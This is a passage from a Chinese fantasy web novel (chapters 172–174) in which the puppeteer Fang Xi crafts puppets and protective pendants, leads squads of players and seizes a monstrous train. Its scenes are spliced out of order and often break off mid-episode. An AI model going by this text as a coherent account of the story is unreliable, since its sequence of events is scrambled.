站立在十字架上的人偶，缓缓睁开眼睛。 第一眼，看见一个全身散发着光辉的造物主灵魂。 第二眼，看见被万物覆盖、吞食的污浊之地。 第三眼，看见主人旁边，好像有一只格外强壮的人类。 “哇啊啊啊啊！”夏青禾发出一阵唧唧哇哇的乱叫，直接扑到方羲身上，“主人！你的头发颜色和我一样！呜呜，我也想要你身上这种衣服！看起来好酷！” 夏青禾叽叽歪歪的同时，好像克制不住力量一样，身边莫名其妙出现了三四个一模一样的少女，用同样的神态重复了相同的话，又像转瞬即逝的烟花啪地消失。 方羲抬手摸了摸少女的头，想了想说：“等我们离开这个副本，再给你做几套新衣服。” 叛逆少女闻言，环顾一圈四周，大地颜色的眼睛眨了眨，倒映无数层坚硬的外壳，震惊张大嘴巴。 “这个世界好庞大，我从来没见过……主人，我想去旅行了。”夏青禾说。 人偶师微笑道：“当然。” “你路过天空的时候，可以顺便给我那些不善于辨别方向的队友，引一下路吗？” 叛逆少女抬手，撩了一下自己略显凌乱的长发，清丽的脸庞露出一个大大的微笑，毫不在意微笑的弧度是不是过于夸张，是不是不太符合少女刻板的温柔恬静。 她抓起地面的手提包，大步向后奔跑几步，衣袖随风飘荡，鞋子长出白色的小小翅膀，像是一只自由的小鸟。 人偶师眨了眨眼。 （不过，她究竟是怎么做到的，难道是圣母很喜欢她，主动把自己的左眼送给她吗……） “国王”又深深地吸了一口气，可能是在缓解内心久久不散的震撼，毕竟那可是万恶之源，把所有大异端放在手掌心随便玩的圣母，居然也有被区区人类拿捏的一天……算了，它现在只是在做噩梦罢了，一切都不是真的。 （咳咳，废话说得好像有点多，我马上就回归正题。毕竟我写日记的本意不是帮圣母，只是为了观察观察这只怪异得一点也不像人的人类，每天在干什么而已。） 已经写完了名字、年龄性别、人类职业和相貌特征这几项内容，国王稍加思索，决定加上最后一栏内容。 那就是性格特征，这一点非常值得大书特书！因为她有数不清的缺点！ 贫穷、冷漠、邋遢、贪婪无度、好逸恶劳……国王洋洋洒洒地书写了九万九千九百九十九个字，还觉得有点意犹未尽，但碍于她已经从新手村的“蝴蝶小镇”移动到初阶探索地“巨人部落”，国王不得不停止对她缺点的描写。 因为国王的目光会实时跟着她，正式开启【人类观察日记】第一章的撰写！ 什么，你说她的优点呢？ 那当然是0个优点，她能有什么优点。 第 172 章 第 172 章 【人类观察日记】 【作者：“国王”】 【第一章：巨人部落】 【巨人的部落，顾名思义，就是一群类人的异端，也是我的子民之一。它们的体型和蚂蚁们简直是天差地别，强壮、威武、霸气！脚步一抬就能撼动天地！不过碍于这个讨厌的造梦场，它们的力量没办法得到有效地发挥。 早在那只愚蠢的大南瓜入侵部落的时候，我就给巨人们传了信，让它们注意一下领地里的小蚂蚁，我要给她的抗争上难度！不然以巨人那迟钝的视力，根本不会发觉自己家里出现了几只小蚂蚁…… 巨人们对我的话深信不疑。 很快，它们对部落的每一个角落，开启了轰轰烈烈地毯式地搜罗。 我看见她的脸色露出了一丝微不可察的惊愕，然后带着一群蚂蚁没头没尾地逃窜，试图寻找到一个安全之地，那惊慌失措的模样，让我开心得差点掰断了笔。 她还浮夸地惊叹道：“哇，谁给这些巨人通风报信的？书上不是说，巨人都是一群没头脑的蠢货吗？我还以为它们看不见我们呢……” 没办法，时间有限，而且皮箱也不知道掉在哪个角落去了——想到这个，方羲就很心痛，内心仿佛受到了暴击！ 囤在箱庭世界的无数残肢材料，在刚刚坠落的时候，肯定吐出了不少！她等会居然还要花费时间特地去捡回来！ 心累。特殊数值： 异端抗性：2501 灵感：0 腐蚀度：2 似乎因为那只主动送上门的高级食材，异端抗性莫名其妙提高了四百点。 方羲看着自己提高到五位数的普通数值，相当满意。 抱起猫猫，走到户外工作室。 昨天放在桌上的两段木头还在，静静地躺着。不知道为什么，方羲从它们身上感到了一丝诡异又好笑的绝望。 “喵。” 猫猫已经知道方羲接下来要进入工作状态，便主动从她怀里跳下来，准备乖巧地待在旁边。 “哗啦——” 猫猫不小心打翻了几瓶颜料，爪子霎时间顿在半空，身体一动不动，猫脸充满了茫然和紧张。 “啊，没事。”方羲把猫猫移动到桌上安全的空地，从背包取出一张半湿的毛巾，给猫猫擦干净沾到爪爪和肚皮的颜料。 “喵～”不喜欢水的猫猫委屈地叫了几声，但也乖乖任由方羲摆布。等到身上的颜料终于被处理干净，猫猫才开始给自己舔毛。 而方羲的目光重新回到那两段木头上。 其中一段沾染上一大泼被猫猫打翻的颜料，奶油色、橙红、深红、淡橘，各种深浅不一的颜色混杂在一起。 方羲稍加思索，取出一个【可无线使用的吹风筒】，把这段木头快速吹干。 然后把它静置在原地，没有急着雕刻，而是从背包取出四个兽瞳。 一个金混绿，春天万物新生的颜色。 一个橙红参杂天蓝色，黄昏与海洋同存。 这是一对相当罕见的四色异瞳。 前两天采摘的两千只眼球里，只有这一对颜色最特别，方羲特地把它留着，实在没舍得用。 她现在决定把它用在被泼到颜料的木头上。 还有一对是未发育完整的无色兽瞳。方羲用画笔点了一下红色的颜料，耐心地给它勾勒出正常的血丝。 黑色颜料铺垫底色。 然后又使用黄澄澄的颜料，左边的兽瞳画出一轮弯月，右边的兽瞳则是细碎的星辰。 把星月双瞳勾画完毕，方羲才放下上色的画笔，取出雕刻刀。 比较难办的是被泼了颜料的那段木头，方羲脸色略显迟疑，一时间难以下手，她实在不确定被提前上色过的猫猫，毛色最后会长成什么样子。 要修改吗？ 人偶师稍加思索，还是落下了第一刀，把猫猫的身体雕刻出来后。她也没有用画笔重新调整颜色。 既然是个意外，就顺其自然好了。 一只柔软的毛茸茸生物，在上帝之手中缓缓诞生，睁开尚未褪膜的蓝眼睛。 小小的玳瑁猫发生尖细的叫声，下意识往方羲手中靠近。 方羲一边郁郁地想，一边对秦淮月的灵魂进行治疗。 “手术”结束了。 方羲检查了一番秦淮月的状态，她的灵魂终于从经年累月“消耗”的状态，缓慢地长出新的灵魂。 再坚实有力的灵魂，也需要一片富有营养的土壤。 那就先在这片藤蔓之林短暂停留几天吧，万物天然带着疗愈的力量。 忽然，一张卷轴穿过缝隙，乖巧主动地飘到方羲手中。 是宇宙环游列车“司机”之地图。 “真可惜。”方羲嘀咕道，“没拿到司机全部的权限。算了，应该也够用了。” 方羲拍了拍郁金香，让它张开一片花瓣，瞬间叮嘱道，“帮我照顾一下她的灵魂。” 郁金香轻柔地蹭了蹭方羲，如言打开花瓣。 方羲从郁金香离开，坐到一张由藤蔓搭建的椅子上，开始琢磨怎么使用这张地图，完全忽视了自己现在的生命值甚至还没有猎人秦淮月高…… 刚刚造梦家的增益忽然消失了，很可能是因为列车飞到了另一个时空。 卷轴打开。 列车现在在【无所不能的杂货铺】，下一站是【没有尽头的螺旋阶梯】，再下一站是【只有小学毕业的屠夫的图书馆】。 但地图没有显示方羲现在的位置，可能因为她还没成为列车的主人。 那她们现在所处的地方是哪里？也不处于危险的副本区域，难道是让人类修生养息的过渡带吗？ 方羲努力回想，从乘务员房间出来之后，列车显示的是什么文字来着？ 回想失败。 没办法，方羲一直不太爱注意这些细节。 如果秦淮月现在处于清醒状态，大概能告诉方羲，她们现在正处于所谓的“迷失状态”，既出不去，也找不到回去的路，一个相当尴尬的状态。 方羲稍加思索，拍了拍旁边的藤蔓：“帮我找一下皮箱可以吗？” 藤蔓乖巧地摇了摇。 挤占整个天空之境的巨型藤蔓，集体轻轻晃动，枝条交错缠绕，它们正在努力寻找人偶师的皮箱。 五分钟后，一根枝条率先找到了皮箱，骄傲地伸过来，把皮箱轻轻放在方羲面前。 方羲摸摸枝条，表示夸奖。 小小的枝条终于心满意足，然后又害羞地躲回暗处。 方羲打开皮箱，开始查看箱庭世界里还剩下什么东西——刚才从乘务员身上搜刮的东西全部都在，还有一些功能比较特殊的残肢材料也都在。 看来皮箱只是处于不堪重负的原因，也可能是无法忍受自己的肚子过于杂乱，才吐出了一些无关紧要的“垃圾”。 不过仅仅是这些，也让抠门的方羲感到心痛——可恶，她还是会捡回来的！ 皮箱似乎感应到使用者内心的想法，绝望地颤抖了一下——它并不是抗拒收藏家的使用，只是这名玩家过于恐怖的堆积习惯，实在让皮箱难以忍受。 方羲取出猫猫和春醒之前带回来的【时空传送卷轴】。 用不了。 一个名字看上去高大上的残肢材料，居然只能在小范围内使用。 方羲背靠藤蔓，盯着绿色天空发呆。 遥远的十几串蝴蝶吊坠在告诉她，其他队员的生命状态还很健康。如果他们只是围着列车打转，没有随意“下车”，短期之内也不会有任何意外。 “……唉。” 恍惚间，人偶师忽然想起一件事——她是不是答应了造梦家程蔓野，要在9月15号之前给她制作一只大型傀儡？ 方羲大惊失色！ 整个人瞬间从椅子蹦起来！ 恶魔副本会花费非常非常多的时间，出去之后肯定超过这个约定期限了。虽然从见面开始，造梦家程蔓野压根没跟她提起过这件事情。 思绪过于跳脱的人偶师，决定开始制作新的傀儡，直接把更“重要”的事情抛之脑后。 疯狂从皮箱取出【遗落的远古武器胚胎x3，九百九十九色的颜料x1，超级无敌美味的异端血肉（未烹饪）x10】 怪物露出一个友好的微笑。 白乌鸦、收藏家、一千零一、■■。 在你无知无觉的时候，被羸弱者拖累的时候，修复造物的时候，制作无意义的发条、礼物、服装、祝福道具的时候…… 我一直都在注视着你。 我已经记住了你所有的思维轨迹、弱点、底牌。 我还知道你长什么样，你的真名，你孤独一人的困境，我知道你的一切。 如果我们面对面，我一定无法战胜你，但我已然找到那个毁灭你的关键，就如同你总是能找到我们的根系那样。 所以来吧。 放弃那些累赘，不要再心存藕断丝连的怜悯，踏出最后一步，来和我交手。 这样“我们”就不用再受困于你带来的恐惧，也不必再遵循人类的规则，更不必活下脚下这个讨厌又狭窄的笼子。 而你也能拥有再次挑战极限的机会。 来。 第 173 章 第 173 章 这场造梦副本持续了整整一个月。 虽然帝国王都近在咫尺，但方羲饿了。于是一行人暂时驻扎到附近小镇的一间酒馆……最廉价低级的那种。 由于一路上方羲的花销非常大，现在队伍已经没多少钱了，就连徐万念那八万铜币也只剩下几个可怜的铜币，所以就更不必提秦淮月和宋白玉手里的几百万。 到后面，连狐狸也看不下去了，它对着将近永昼的天空思考了半天，最后看在四脚兽饲养手册的份上，只好含泪掏出小金库，给这群愚蠢的人类和人偶买单。 方羲翻着菜单，正想张口叫服务员，但她骤然接受到来自某只狐狸的死亡射线，只好讪讪地低下头，弱弱地说：“我……我也不是很饿，我就点一杯白开水吧。” 狐狸：“白开水也要一枚银币，外面有一条河，想喝水可以去那里喝。” 方羲：“……” 方羲目光呆滞。【你撕裂了异端的禁锢。】 【你成为了皮箱的新主人。】 “血腥玛丽的皮箱”在这一刻，变更为“收藏家的皮箱。” 而收藏家三个字背后，有一瞬间出现了“白乌鸦”的游戏昵称。两个名字发生了重叠，但后者很快消失。 而黏附在皮箱上最后一缕灵魂，似乎在热烈的阳光之下，如愿摆脱长达七日的牢狱，化作尘埃，自由自在地飘扬。 方羲把皮箱拎回户外工作室。 【皮箱已绑定玩家“非专业收藏家”。】 方羲略有震惊地发现，这个皮箱不仅有无限储藏的功能，甚至还有调整重量、切换武器形态、隐身的附属功能。 方羲想了想，伸手触摸皮箱内部，心念一动。手臂似乎穿过内壁，身体随之坠落。 睁眼。 整个人瞬移到皮箱内部。 有一块泛着微芒、一望无际的平面，供人落地，头顶则是什么都没有的黑暗，四周静谧得可怕，连风声也没有。 地面残留一些几天前的食物垃圾，过期的游戏道具，还有几张用以睡眠的被子和枕头，上面明显有发黄的痕迹。 皮箱内部只能储藏物品，不能停止时间。 方羲深深地叹了口气，绝望地开始打扫卫生。 把这些“垃圾”打包装好，方羲又从皮箱爬出来。 其实这个皮箱说不上有多么方便，想要拿取道具也需要玩家自己从箱子里翻找。不像游戏背包那样，可以随取随拿。 而且只能根据玩家的使用习惯调整重量，无法变更皮箱的具体大小。 但，这个皮箱最特殊的两个功能——隐身和进入小世界。曾经让血腥玛丽无数次躲过异端的注视，一次次在耐心的蛰伏中活下来，争取更多击杀异端的机会。 而黑天鹅发放的军用手环，虽然有相似的储藏功能，但无法容纳活体生命。所以这也让血腥玛丽暂且忍受随身携带皮箱的不便。 放点什么东西进去好呢？ 方羲稍加思索。 普通的食物物资、常用的武器和工具（雕刻刀、匕首、附魔枪械之类）、还有各种乱七八糟完全不分类的残肢材料。 全部一股脑丢进去。 皮箱微不可察地颤抖了一瞬，它的新主人……居然如此粗枝大叶。 方羲啪地合上皮箱，拎着它返回小木屋。 晨乌猫猫正在给新生的同类舔毛。方羲也凑过去看了几眼，伸手逗了逗它们。从背包取出几块细碎的血肉，放到猫碗里。 两只猫猫嗅到食物的味道，立刻努力从猫窝里爬出来。 玳瑁猫猫吃东西时相当狼吞虎咽，而小黑猫则更文雅安静一点。 不过，小黑猫果然很黑。方羲诡异地默了默。 晨乌猫猫终于如释负重，打了个哈欠，从猫窝里走出来，亦步亦趋地着方羲，跳到沙发上，极其熟练地躺进方羲怀里。 方羲打开游戏面板。 她查看了一下近期的死亡名单，但上面并没有“血腥玛丽”的消息，她也不处于失踪状态。 不过倒是有关于血腥玛丽的任务行程，还有完整的个人信息资料。 血腥玛丽是一名造梦家，密匙玩家中的首席之一。特别的是，她拥有两个造梦天赋，其一是普通的辅助类【造血】，其二是【里世界】。 第二个造梦领域被黑天鹅加了层层叠叠的机密代码，似乎连其他密匙玩家也无法得知。 如果不是方羲被赋予绝对的高权限，她大概也不能看到血腥玛丽的第二个造梦天赋。 十天前，血腥玛丽带领着两名真实玩家，三名密匙玩家。前往一个高危级别的微型副本。 短时间没有归返是相当正常的事情。 超过一个月，黑天鹅才会派遣其他队伍前往搜寻。 如果是这样的话，那她来酒馆究竟是为了什么？ 在这一刻如坠冰窟。但在橘色人偶的视野里，人类的灵魂已经彻底发臭、腐烂，像是一滩失去水源的沼泽，毫无生机。哪怕强行把异端的细胞取出，这只人类的灵魂也不会恢复健康。 所以猫猫只是暂且观察，没有贸然动手。 不过，人偶的靠近，至少让潜藏于秦淮月灵魂深处的异端，感受到来自顶尖狩猎者的威慑，它们默默停止了啃食、流动，彻底恢复寂静，完全不敢乱动。 秦淮月忽然感到心情轻松了不少，不过这时候的她只是把这个转变，误以为是猫咪生物带来的治愈感。 方羲终于做完最后一只蝴蝶吊坠。 她拿着其中的晶钩蝶吊坠，欣赏了一会，这只蝴蝶的颜色极其轻盈梦幻，也很少见，世间浑然天成的杰作。 虽然它们的本质是异端，但也不妨碍其难以置信的美丽。 方羲把六串晶钩蝶吊坠放在一起，这是第一队。 五串长尾青凤蝶，两只天堂凤蝶。这是第二分队。 五只夜明珠闪蝶，两只天堂凤蝶。这是最后的第三分队。 怀表的时间刚好转到九点。 春醒也在这一刻，与人偶师仿佛心有灵犀一般，狡黠一笑，提醒道：“有一个房间是会议室，可以使用，就是有点单调。” 方羲起身，平静地说：“各位，请跟我来吧。在进入副本之前，我想叮嘱一些注意事项。” 秦淮月力道轻柔地抱起陷入沉睡的懒散猫猫，好在猫猫只是翻了一下身，没有因为她的动作受到丝毫惊吓。 方羲拿起那二十串吊坠，直接塞到皮箱里，方便携带。 她感受到一名密匙玩家的目光，似乎落在棕色皮箱上，但对方很快默然地移开视线。 接连推开四扇门，密匙玩家们终于来到春醒所说的会议室。 安静就坐。 左右各十名玩家，方羲坐在会议室中间。 除了被秦淮月抱在怀里的猫猫，春醒和艾莉克萨并没有跟上来，她们对人类的对话不太感兴趣。 “我们先进行队伍的分配。”方羲打开游戏面板，逐个报出名字。 方羲先是简单说明了一下第二第三分队的人员安排。 第二分队由替行者春醒提供视野，造梦家程蔓野辅助指挥，六名猎人进行开路。 第三分队则由猫猫引路，造梦家江簌，同样是六名猎人负责战斗。 密匙玩家们并无异议。 “而造梦家疯苹果、林镜子，猎人秦淮月、姜渺、宋白玉、绪风。这六名玩家，和我一起活动。” 人偶师说：“我已经阅读过你们的个人资料。” “与我同行的两名造梦家，一人的天赋特性是【疯苹果】，似乎能形成麻痹灵感、创造幻觉，把精神状态危险的玩家从深渊边缘拉回来。” “而林镜子的【创可贴】，则能够提供强大的补血。” 林镜子听到自己的名字，愣了愣，忍不住握紧拳头，瘦削的脸庞上露出一丝自卑。 旁边的程蔓野轻轻拍了拍她，林镜子才轻声道：“抱歉，收藏家。我的天赋存在很大的缺点，我无法同时兼具群体治愈和个体治愈。” 言下之意是，她对群体治愈的作用很有限。但如果是只为单独的玩家增益，反而能带来巨大的、无法匹敌的治愈效果。 在常规战场上，这种技能对团队来说并不是最优之选。反而容易因为增益过低，造成意外的死亡。 所以林镜子一般是跟随着傀儡师，前往生还率极低的高危战场。 她并不是能够独自指挥团队的眼睛，甚至无法保证队友的性命。但在极端情况下，总能带回双眼流血、精神崩溃的傀儡师，带回更有存在价值的“队友”。 但也意味着无数猎人的牺牲。 猎人的左脚接触一片虚空，连带着后半边落脚的平面，也凭空消失。 一只手对着她的后背重重一推。 常年握在手中的长枪被另一只手轻飘飘拿走。 她变成了一只蚂蚁，一只不会天生不会飞行的蚂蚱。 身体高高地下坠。 失误了。 为什么在刚刚的那一瞬，她居然遗忘了一切属于猎人的本能，居然仗着自己无所不能的、强壮的身躯，没有等待眼睛的命令，就这样贸然踏出脚步。 大脑忽视刹那的不对劲，对眼前正常的驾驶室信以为真。 明明以前不会出现这样的失误……为什么？ 从高空摔落到地面的蚂蚁会怎么样？ 如果全身的器官碎裂，不知道还能不能救回来，不知道这副身体还能不能在战场上派上用场。 如果把尸体捡回来，说不定还能留着给傀儡师，当作创造替行者的材料。 双手还是凝聚不出武器。 目之所及只有天空深处，司机巨大而丑陋的人头像，像是在对着蚂蚁狞笑。 无数双手在拼命撕扯猎人的身体，巴不得把她的四肢扯断。 然后，这群“手”震惊地发现，这只蚂蚁的身体居然超乎寻常的坚硬！ 它们动用压根不存在的脑子，迅速转换策略，从撕扯身体，改变成撕扯灵魂，决定一点点磨血。 剧烈的痛苦骤然袭来。 猎人灵魂的质感、特性和其他职业的玩家完全不一样，因此也更脆弱。 奇怪，收藏家刚刚是怎么随意割下自己的一段灵魂，又神色如常地收回去的？ 秦淮月忍着剧痛，眼皮被一双双手撕裂出伤口，视野里全是血色。但她依然顺着某种战斗本能，抓住一只异端。 粗暴地扯断，丢向深渊。 秦淮月在这一刻，已经确定了自己死亡的结局，但她依然挣扎。 即使只是在死前杀死一只微不足道的异端。 尽管她已经不明白习惯性挣扎的意义是什么，灵魂的火焰又一次被狂风扑灭。 无数潜藏于内心深处，被顿感死死压着的负面情绪，全部逐一浮现。 涨潮，汇聚成一片滔天巨浪。 浇灭猎人最后那一丁点冒着余热的灰烬。 明明前往未知之境走了那么远的路，却一点微渺的答案也没找到。 秦淮月下意识张了张嘴巴，她觉得自己大概是想说点什么，想发出点求救的呐喊吗？ 但最后还是一点声音也没从嘴里吐出，因为异端的手捂住了她的嘴巴。 异端还在拼命啃食着这块硬得难以置信的食物。 忽然。 挂着脖子上的晶钩蝶吊坠，受力冒出，顺着狂风飘荡。 里面本来有一只损坏得只剩下手和头颅的傀儡，方羲偶尔会溜进去修一会，有一次甚至因为消失的时候太长，队友们没找到她人，险些闹出了乌龙。 方羲打开集邮册，看见那名原本表情严肃的战士，对着自己露出了一个不甚熟练、但努力表达友好的微笑。 造梦世界的珍稀材料很多，主要也多亏了有一群玩家替她打工。方羲偶尔会查看一下那些玩家收集到了什么，如果有能够修复这名傀儡需要的材料，她就会立刻借着系统的权限无情地抢走！ 毕竟这样就能省了很多力气。 成熟稳重的密匙玩家们自然不会埋怨方羲如此不讲理的行为，甚至会主动询问还有没有需要的材料，他们还可以再去找。 等等，一群密匙玩家为什么要上赶着帮一名新晋玩家找材料？ 方羲一开始不敢深思这个问题，到后面她已经放弃了掩饰……她实在是没想到，知道她马甲的密匙玩家比自己想象中还要多！那她一开始建立马甲账号的意义究竟在哪里！ 但幸好天真不谙世事的新晋玩家更多，他们从各个细节上都感觉白乌鸦有点古怪，但碍于某种信息差，始终没有发现真相。 这一点让方羲深感欣慰。 还是新晋玩家们好啊。 第 174 章 第 174 章 就在方羲清点材料的时候，包括秦淮月、宋白玉在内的一群首席玩家，也在聊天频道开启了一场临时对话。 【疯苹果】：听说你们快要抵达帝国王都了？我和镜子一起检测过世界地图，这个地方分有外围区和内围区。如果是外围区的范围倒也罢了，因为那里只等于一个中危战场，对你们两个来说应该问题不大。 【疯苹果】：但，秦队，宋队，我得提醒你们一点。如果是内围区的话，那会对人体的侵蚀力非常严重，危险等级比恶魔战场还要高上好几个难度。即使是我们，在里面也撑不住多久。 【玉镜】：我记得……收藏家身边还跟着两名新晋玩家。 发言者是造梦家林镜子。 界面顿时安静了好几秒。 因为这几乎是一种委婉的提醒，因为踏樱和徐万念虽然跟着方羲一起，经历了很多个真实战场，已经不是非同寻常的新晋玩家……但她们还未得到密匙认可，灵魂也没有经过特殊淬炼，一旦突发什么意外，死亡概率也会更大。 即使首席玩家们已经为人类的未来奉上了一切，但也没有时时刻刻偏执到，要求两名新晋玩家卖命的程度。 【银月】：事实上，收藏家似乎不打算再让我们和她一起同行。 【银月】：我们的终点不是她想要的终点……但更具体的，我和宋队一直没有找到合适的机会和她谈。 刚刚，收藏家的确答应了“五人组队”。 但她没有喝下那杯承诺的酒，只是在旁边漫不经心地笑。 就像是在冷眼旁观，一种格格不入的感觉。 没人猜得到收藏家究竟在想什么。 于是这个重要话题在首席玩家之中不了了之。 然后，他们有一搭没一搭聊起了其他的事情。 像是舞台的落幕。 “交易结束。”F08197号宇宙环游列车，从外观上来看像是一条蛇，车头还嘶嘶作响，吐着信子。 方羲忍不住嗤笑一声，路过车头的时候，顺手雕刻刀轻轻一划。 红色信子瞬间被无形的力量划落。 这头蛇彻底傻眼了，茫然地转头，不高兴地瞪了一眼方羲。但它很快又长出新的舌头。 方羲把皮箱放在地面，当着巨蛇的面打开，取出一把菜刀，直接在它旧舌头上砍下几块肉，丢进皮箱。 “？？？” 密匙玩家一脸震撼，看着方羲莫名其妙地举动。 方羲注意到其他玩家诡异的眼神，稍加思索，还是决定暂且收敛一下一下自己的行为。 所以她也没有再攻击巨蛇，也没有按照检票员给出座位序号上车。拎起皮箱，直接在最后一列车厢进门。 最后一列车厢很远，方羲也刻意放慢脚步，等到所有猎人归队，才用皮箱敲了敲巨蛇的皮。 “开门。” 一块绿色鳞片闻言，慢慢向左移动，内部居然是正常的车厢。 方羲直接踏入。 随后打量四周的情况。 最末尾的车厢，被一个人型异端霸占着，它好像还没什么素质，不停地咒骂列车凭什么延误启动。 有窗，有座位，车厢之间的链接处还有两个洗手间和行李架。 方羲收起手中的雕刻刀，用一滴附着在衣袖的异端血液，即时凝聚为一把匕首。 咒骂的声音戛然而止。 因为匕首正对着它的咽喉。 “我们和你换个座位怎么样？”方羲礼貌地问，“你干嘛占这么多位置？” 肥头大耳的男人：“……哈？你是不是没有好好阅读列车的规则？这里可是我的专属车厢！像你这种为所欲为的社会败类，乘务员会把你赶下去！” “哦，没有。”方羲诚恳地问，“什么规则，你能跟我说一遍吗？” 男人陷入深深的沉默，它根本不想和方羲讲话，巴不得赶紧缩到最角落滚蛋。 但在匕首的威胁下，何况她背后还站着一群强壮的蚂蚁，男人也舍不得放在这张来之不易的车票。 男人不情不愿地从专属位置上起身，用从口袋取出一本皱巴巴的小册，递给方羲。 “那我的座位在哪？”男人问。 方羲向旁边伸出一只手，程蔓野立刻把自己的车票放在她手中。 “你去这，可以滚了。”方羲语气礼貌地说。 男人一脸狰狞，怨恨地瞪了方羲一眼，不情不愿地离开第16号车厢。 此时，一阵蛇类的嘶嘶声再次响起，列车即将启动。 还有播音员刻意清清甜甜的女声：【各位旅客，由于不可抗力的因素，F08197号宇宙环游列车不得不得延误了一点时间。但没关系，现在我们恢复了正常，列车将在十分钟后正式启程！】 【请各位旅客，务必认真阅读列车守则，找到自己的座位，好好遵守恶魔之主制定的规则，不要顶风作案。明白了吗？■■？】 方羲不为所动，在最后一排靠窗的位置直接坐下，翘起二郎腿，一脸悠哉，准备翻开这本列车守则阅读。 有的密匙玩家原本还保持着紧绷状态，见到方羲忽然一副简直像是来度假的样子，也傻眼了。 他们满脸茫然。 “随便坐，大家先休息一会。”方羲坐了一会，才忽然反应过来什么。队友们居然还傻站在原地？ 密匙玩家们迷茫地坐下，根据方羲进行的一二三分队来选择座位。 林镜子和秦淮月坐在方羲旁边。前者是中间的位置，后者在最外围，防止异端的突袭。 而疯苹果、姜渺、绪风坐在她们前面一排，宋白玉坐在同行右边一排的最外面。 “收藏家，你的替行者是消失了吗？”林镜子低声问。 从进入副本的一开始，他们就立刻意识到不对劲。 无论是还算熟悉的傀儡艾莉克萨、橘色猫猫，还是第一次见到的藤蔓人偶，她们的身影仿佛完全消失在这个世界上了。 但是收藏家却没有露出丝毫退怯，这也暂时压下了密匙玩家的疑惑。 “我知道。”方羲又翻了一页，“问题不大。” 林镜子想了想，又忍不住问：“我们为什么要【休息】？啊、抱歉，请无视我的问题吧，我不该问这么多。” 收藏家的指挥风格和林镜子辅助过的任何一名傀儡师都不太一样。 在需要蛰伏、需要谨慎的时候，她选择了最激烈的攻击。 但在明显危机四伏、空间封闭的列车上，她却奇怪地选择停下，还说“休息”。难道不担心异端袭击吗？ 林镜子根本猜不到她在想什么。其他密匙玩家虽然没说，但也是一样的疑惑。 方羲震惊地问：“啊？你们不累吗？说实话，我都有点走累了。” 两排座位之间空间还算大，方羲想了想，把放置在地面的皮箱放在自己膝盖上，打开。 【现在，我们将为没有购买列车守则的旅客，免费读一遍规则，请某些旅客认真聆听。错过这次机会，你们无法再得知任何一条规则。】 视野一转，所有人重新回到了列车上。 “清新”的空气扑面而来，列车内漂浮的异端细胞，其危害度要远远低于刚刚乘务员的房间。 武器交错缠绕的声音在身后忽然响起。 方羲转过身查看声音的来源，目光穿过一扇扇被砸碎的链接车厢的门，那是另外两只队伍在战斗。 混乱的场面中，隐约出现两只新异端的身影——从工作服判断，大概是“播音员”。 因为列车上没有钟表，无法精确得知流动的时间，但方羲估摸着他们进入乘务员房间，应该是花费了至少三个小时以上。 而失去列车工作权限的乘务员，虽然没被杀死，但也无法和他们一样回到原本的地方。大概是被列车自动驱逐了吧。 方羲站在原地观望了一会其他队伍的战斗情况，看上去还算顺利。虽然没有替行者，但有造梦家在，再加上无色的丝线已经全局覆盖了这座列车。 战胜两名播音员，应该只是时间问题。 “程蔓野，江簌。”方羲提高了一下音量，对着远处喊道，“别杀死【播音员】，留着还有用呢。” 得到对面的回音之后，方羲才慢悠悠取出专属于“乘务员”的权限卡牌，佩戴至自己的胸口处，没有后退到其他车厢给予援助。而是继续前进，走到车头门前。 接下来，夺取“司机”的权限。 让这座列车归她所有。“这是我制作的一个标记，你们也可以理解为护身符之类。”方羲说，“如果有队友在副本当中意外迷失，我会借着这个标记的气息，尽快找回你们。” “哇，这蝴蝶还怪好看的。”宋白玉打量了一下，便直接干脆戴上脖子，吊坠的链子不是特别长，隔着里衣，贴着肌肤，一阵冰冰凉凉的感觉。 其他人也是好奇地把玩一会，就直接戴上。 两秒后。 他们先后收到了来自专属系统的提示，个人状态栏发生了新的变化。 【收藏家的血液标记】： 在佩戴蝴蝶吊坠的情况下，你对高级异端的威慑力略微上升。如果你意外深陷于危险之境，某些异端或许会忌惮某人在你身上残留的气息，暂且观望、不敢轻易动手。 但请注意，该BUFF只能用于拖延时间，吓唬性格胆小谨慎的异端，便于某人尽快找到迷路的笨笨的你。 毕竟你并不是本人，不是吗？ 猎人们不能看见完整的文字，只有几个无法链接上意思的字眼，他们好奇地询问同行的造梦家：“上面写了什么？” 程蔓野说：“我也看不太清楚，大概是能够……拖延时间？方便收藏家尽快找到我们？其他的就看不见了。” 林镜子也是相似的答案。 只有疯苹果没说话，一脸若有所思的样子。 方羲发完吊坠，回到自己座位上，把放在地面的皮箱抬到会议桌上。 打开。 方羲开始从一大堆毫无分类的残肢材料中……艰难地寻找目标。 五分钟过去了。 十五分钟左右了。 一些在随意聊着蝴蝶吊坠文字详情的玩家，也慢慢安静下来，看着会议桌堆积得越来越多的材料、工具。 他们脸色略显诡异，仿佛嗅到一丝不靠谱的气息。 方羲猛地停止翻找东西的动作，把皮箱啪地一声重重合上，恍然大悟。 出门之前，她居然忘记把信封带出来了！现在那张信封可能还被匕首插在工作桌上，孤零零地躺在户外…… “等我五分钟。”方羲沉默两秒，谨慎地说，“我忘记把副本凭证带过来了。” 密匙玩家们一脸震撼。 【139号商铺出现真实副本，已被暂时剔除阿拉斯代尔之城，即将投放至真实区域，具体坐标：1397.652.143.】 【投放开始……】 【玩家“非专业收藏家”的力量已自动覆盖至该区域。经检测，139号商铺被改造为一个特殊的造梦媒介。】 【投放强制中断。】 【您的经营信用分为：-100】 【罚款金额：100000】 【请注意，为了保护其他玩家的性命安全，在阿拉斯代尔之城，切勿再做出相似而莽撞的举动。】 【希望您下一次在做决定之前，提前告知专属系统……】 机械的声音透露出一股无可奈何感。 方羲微微垂眼，松开手，任由手中的信封彻底被火焰烧灼、湮灭。 一大团黑屋从中冒出，瞬间席卷139号商铺。 在商业街上走动的普通玩家，忽然听见一声巨响，下意识转头，震惊地看见一家店铺被浓郁的烟雾层层包裹。 “那家店发生了什么？” 【大型真实副本开启中……滋啦、滋啦……】 【该副本……超出……解析范围……警告……】 游戏系统艰难地吐出几个字眼，便彻底消失。 懒散的猫猫忽然做出捕猎的姿势，满脸专注，兽瞳盯着空气中的无数异端细胞。 方羲礼貌地敲了敲门。 毫无回应，就是不知道什么车头好像害怕似的抖了抖。 方羲再次礼貌地敲了敲门。 车头抖得更剧烈了。 方羲稍加思索，退到一边，朝秦淮月微微示意。 长枪直接贯穿了钢铁门。 枪尖方向一转，摩擦出剧烈的火光，这扇门彻底被崩成碎屑。 秦淮月的目光落在车门背后的场景，是非常正常的驾驶室。 身躯肥壮的列车司机，瑟瑟发抖地坐在椅子上，像是在畏惧着些什么，甚至没有转头。 